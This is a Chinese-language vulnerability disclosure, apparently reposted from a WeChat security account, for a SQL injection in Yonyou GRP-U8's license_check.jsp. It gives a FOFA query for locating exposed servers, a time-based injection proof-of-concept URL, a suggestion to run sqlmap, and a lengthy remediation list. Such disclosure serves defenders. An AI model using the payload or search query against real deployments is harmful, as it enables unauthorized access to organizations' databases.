用友GRP-U8 license_check.jsp sql注入漏洞

admin 2023年10月27日01:36:20评论56 views字数 1127阅读3分45秒阅读模式

免责声明

     请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。


01
0x01漏洞描述

用友 GRP-U8 license_check.jsp 存在sql注入,攻击者可利用该漏洞执行任意SQL语句,如查询数据、下载数据、写入webshell、执行系统命令以及绕过登录限制等。


02
0x02 漏洞复现 
fofa语法:app="用友-GRP-U8"

用友GRP-U8 license_check.jsp sql注入漏洞

POC:/u8qx/license_check.jsp?kjnd=1';WAITFOR%20DELAY%20'0:0:3'--

用友GRP-U8 license_check.jsp sql注入漏洞

然后使用sqlmap一把梭:

用友GRP-U8 license_check.jsp sql注入漏洞



03
0x03 修复方式
针对这一类型的漏洞有以下几种修复建议可供参考。参考修复方法:1)所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口,使用此接口可以非常有效的防止SQL注入攻击;select * from user where name=@username /* 示例sql语句 */2)对进入数据库的特殊字符(’”<>&*;等)进行转义处理,或编码转换;replace() //替换函数替换特殊字符addslashes() //php中可以用该函数进行特殊字符转义StringEscapeUtils.escapeSql() //java中可导入该包来防sql注入的函数3)确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为int型;4)数据长度应该严格规定,能在一定程度上防止比较长的SQL注入语句无法正确执行;5)网站每个数据层的编码统一,建议全部使用UTF-8编码,上下层编码不一致有可能导致一些过滤模型被绕过;6)严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害;7)避免网站显示SQL错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。Php配置:删除mysql_error()函数,禁止打印出数据库错误信息。Java配置:catch (SQLException sqlException) { System.outprintln(sqlException.getMessage());}删除sqlException.getMessage()函数,禁止打印出数据库错误信息。
用友GRP-U8 license_check.jsp sql注入漏洞
用友GRP-U8 license_check.jsp sql注入漏洞
END
用友GRP-U8 license_check.jsp sql注入漏洞
点击蓝字  关注我们

原文始发于微信公众号(爱喝酒烫头的曹操):用友GRP-U8 license_check.jsp sql注入漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月27日01:36:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   用友GRP-U8 license_check.jsp sql注入漏洞https://cn-sec.com/archives/2147997.html

发表评论

匿名网友 填写信息